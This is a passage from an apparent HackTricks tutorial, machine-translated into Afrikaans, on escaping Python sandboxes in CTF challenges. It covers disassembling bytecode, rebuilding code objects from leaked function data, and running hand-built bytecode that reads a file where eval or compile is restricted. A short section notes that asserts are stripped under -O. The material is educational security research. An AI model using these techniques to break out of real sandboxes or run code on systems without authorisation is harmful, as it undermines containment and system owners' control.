dis.dis('d\x01\x00}\x01\x00d\x02\x00}\x02\x00d\x03\x00d\x04\x00g\x02\x00}\x03\x00|\x00\x00|\x02\x00k\x02\x00r(\x00d\x05\x00Sd\x06\x00Sd\x00\x00S')
|
|
0 LOAD_CONST 1 (1)
|
|
3 STORE_FAST 1 (1)
|
|
6 LOAD_CONST 2 (2)
|
|
9 STORE_FAST 2 (2)
|
|
12 LOAD_CONST 3 (3)
|
|
15 LOAD_CONST 4 (4)
|
|
18 BUILD_LIST 2
|
|
21 STORE_FAST 3 (3)
|
|
24 LOAD_FAST 0 (0)
|
|
27 LOAD_FAST 2 (2)
|
|
30 COMPARE_OP 2 (==)
|
|
33 POP_JUMP_IF_FALSE 40
|
|
36 LOAD_CONST 5 (5)
|
|
39 RETURN_VALUE
|
|
>> 40 LOAD_CONST 6 (6)
|
|
43 RETURN_VALUE
|
|
44 LOAD_CONST 0 (0)
|
|
47 RETURN_VALUE
|
|
```
|
|
## Compiling Python
|
|
|
|
Nou, laat ons voorstel dat jy op een of ander manier **die inligting oor 'n funksie wat jy nie kan uitvoer nie** kan **dump** maar jy **moet** dit **uitvoer**.\
|
|
Soos in die volgende voorbeeld, jy **kan toegang kry tot die kode objek** van daardie funksie, maar net deur die disassemble te lees, **weet jy nie hoe om die vlag te bereken nie** (_verbeel jou 'n meer komplekse `calc_flag` funksie_)
|
|
```python
|
|
def get_flag(some_input):
|
|
var1=1
|
|
var2="secretcode"
|
|
var3=["some","array"]
|
|
def calc_flag(flag_rot2):
|
|
return ''.join(chr(ord(c)-2) for c in flag_rot2)
|
|
if some_input == var2:
|
|
return calc_flag("VjkuKuVjgHnci")
|
|
else:
|
|
return "Nope"
|
|
```
|
|
### Die kode objek te skep
|
|
|
|
Eerstens, ons moet weet **hoe om 'n kode objek te skep en uit te voer** sodat ons een kan skep om ons funksie te voer wat gelek het:
|
|
```python
|
|
code_type = type((lambda: None).__code__)
|
|
# Check the following hint if you get an error in calling this
|
|
code_obj = code_type(co_argcount, co_kwonlyargcount,
|
|
co_nlocals, co_stacksize, co_flags,
|
|
co_code, co_consts, co_names,
|
|
co_varnames, co_filename, co_name,
|
|
co_firstlineno, co_lnotab, freevars=None,
|
|
cellvars=None)
|
|
|
|
# Execution
|
|
eval(code_obj) #Execute as a whole script
|
|
|
|
# If you have the code of a function, execute it
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
```
|
|
> [!NOTE]
|
|
> Afhangende van die python weergawe kan die **parameters** van `code_type` 'n **ander volgorde** hê. Die beste manier om die volgorde van die params in die python weergawe wat jy gebruik, te weet, is om te loop:
|
|
>
|
|
> ```
|
|
> import types
|
|
> types.CodeType.__doc__
|
|
> 'code(argcount, posonlyargcount, kwonlyargcount, nlocals, stacksize,\n flags, codestring, constants, names, varnames, filename, name,\n firstlineno, lnotab[, freevars[, cellvars]])\n\nCreate a code object. Not for the faint of heart.'
|
|
> ```
|
|
|
|
### Herstel van 'n gelekte funksie
|
|
|
|
> [!WARNING]
|
|
> In die volgende voorbeeld gaan ons al die data neem wat nodig is om die funksie direk uit die funksie kode objek te herstel. In 'n **werklike voorbeeld** is al die **waardes** om die funksie **`code_type`** uit te voer wat **jy sal moet lek**.
|
|
```python
|
|
fc = get_flag.__code__
|
|
# In a real situation the values like fc.co_argcount are the ones you need to leak
|
|
code_obj = code_type(fc.co_argcount, fc.co_kwonlyargcount, fc.co_nlocals, fc.co_stacksize, fc.co_flags, fc.co_code, fc.co_consts, fc.co_names, fc.co_varnames, fc.co_filename, fc.co_name, fc.co_firstlineno, fc.co_lnotab, cellvars=fc.co_cellvars, freevars=fc.co_freevars)
|
|
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
function_type(code_obj, mydict, None, None, None)("secretcode")
|
|
#ThisIsTheFlag
|
|
```
|
|
### Bypass Defenses
|
|
|
|
In vorige voorbeelde aan die begin van hierdie pos, kan jy **sien hoe om enige python kode uit te voer met die `compile` funksie**. Dit is interessant omdat jy **hele skripte** met lusse en alles in 'n **eenlyn** kan **uitvoer** (en ons kan dieselfde doen met **`exec`**).\
|
|
In elk geval, soms kan dit nuttig wees om 'n **gecompileerde objek** op 'n plaaslike masjien te **skep** en dit in die **CTF masjien** uit te voer (byvoorbeeld omdat ons nie die `compiled` funksie in die CTF het nie).
|
|
|
|
Vir voorbeeld, kom ons compileer en voer handmatig 'n funksie uit wat _./poc.py_ lees:
|
|
```python
|
|
#Locally
|
|
def read():
|
|
return open("./poc.py",'r').read()
|
|
|
|
read.__code__.co_code
|
|
't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
```
|
|
|
|
```python
|
|
#On Remote
|
|
function_type = type(lambda: None)
|
|
code_type = type((lambda: None).__code__) #Get <type 'type'>
|
|
consts = (None, "./poc.py", 'r')
|
|
bytecode = 't\x00\x00d\x01\x00d\x02\x00\x83\x02\x00j\x01\x00\x83\x00\x00S'
|
|
names = ('open','read')
|
|
|
|
# And execute it using eval/exec
|
|
eval(code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ()))
|
|
|
|
#You could also execute it directly
|
|
mydict = {}
|
|
mydict['__builtins__'] = __builtins__
|
|
codeobj = code_type(0, 0, 3, 64, bytecode, consts, names, (), 'noname', '<module>', 1, '', (), ())
|
|
function_type(codeobj, mydict, None, None, None)()
|
|
```
|
|
As jy nie toegang tot `eval` of `exec` kan kry nie, kan jy 'n **regte funksie** skep, maar om dit direk aan te roep, gaan gewoonlik misluk met: _constructor nie toeganklik in beperkte modus_. So jy het 'n **funksie buite die beperkte omgewing nodig om hierdie funksie aan te roep.**
|
|
```python
|
|
#Compile a regular print
|
|
ftype = type(lambda: None)
|
|
ctype = type((lambda: None).func_code)
|
|
f = ftype(ctype(1, 1, 1, 67, '|\x00\x00GHd\x00\x00S', (None,), (), ('s',), 'stdin', 'f', 1, ''), {})
|
|
f(42)
|
|
```
|
|
## Decompiling Compiled Python
|
|
|
|
Met die gebruik van gereedskap soos [**https://www.decompiler.com/**](https://www.decompiler.com) kan 'n mens gecompileerde python kode **decompile**.
|
|
|
|
**Kyk na hierdie tutoriaal**:
|
|
|
|
{{#ref}}
|
|
../../basic-forensic-methodology/specific-software-file-type-tricks/.pyc.md
|
|
{{#endref}}
|
|
|
|
## Misc Python
|
|
|
|
### Assert
|
|
|
|
Python wat met optimalisering uitgevoer word met die param `-O` sal assert stellings en enige kode wat voorwaardelik op die waarde van **debug** is, verwyder.\
|
|
Daarom, kontroles soos
|
|
```python
|
|
def check_permission(super_user):
|
|
try:
|
|
assert(super_user)
|
|
print("\nYou are a super user\n")
|
|
except AssertionError:
|
|
print(f"\nNot a Super User!!!\n")
|
|
```
|
|
sal omseil word
|
|
|
|
## Verwysings
|
|
|
|
- [https://lbarman.ch/blog/pyjail/](https://lbarman.ch/blog/pyjail/)
|
|
- [https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/](https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/)
|
|
- [https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/](https://blog.delroth.net/2013/03/escaping-a-python-sandbox-ndh-2013-quals-writeup/)
|
|
- [https://gynvael.coldwind.pl/n/python_sandbox_escape](https://gynvael.coldwind.pl/n/python_sandbox_escape)
|
|
- [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)
|
|
- [https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6](https://infosecwriteups.com/how-assertions-can-get-you-hacked-da22c84fb8f6)
|
|
|
|
{{#include ../../../banners/hacktricks-training.md}}
|